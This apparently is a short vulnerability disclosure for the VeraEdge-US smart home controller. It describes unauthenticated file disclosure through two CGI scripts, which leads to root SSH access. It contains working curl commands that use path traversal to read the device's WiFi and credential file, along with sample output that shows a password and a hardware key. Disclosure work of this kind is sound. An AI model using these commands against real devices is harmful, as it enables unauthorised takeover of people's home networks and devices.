VeraEdge Smart Home
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VeraEdge-US Smart Home Controller
The VeraEdge-US is a smart home controller used for bridging smart home devices with a users WiFi network.
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Local File Disclosure
VeraEdge-US Smart Home contains a Local File Disclosure via get_file.sh and store_file.sh, both which can be hit without authentication. Below you can find the code within get_file.sh.
Unfortunately get_file requires a directory to exist which store_file conveniently creates. A POC for retrieving the file containing the devices SSID and WiFi key (/etc/cmh/cmh.conf) can be seen below.
curl -X POST -v 'http://<DEVICEIP>/cgi-bin/cmh/store_file.sh' --data store_file=123 curl -X POST -v 'http://<DEVICEIP>/cgi-bin/cmh/get_file.sh' --data filename="../../../../../etc/cmh/cmh.conf" ArchiveLogsOnServer=1 ESSID=mios_45026848 Password=wind72sand HW_Key=3sMwesqBERodWW7l3mew43fsC1d3sf
Root SSH Access
Utilizing the Local File Disclosure mentioned above, one can obtain the device specific WiFi information (SSID and Password) for the device. Conveniently the WiFi Password is the same as the password for the "root" user account.
SSHing to the device, with a login of root, and the device specific password, one can obtain root privileges remotely on the device.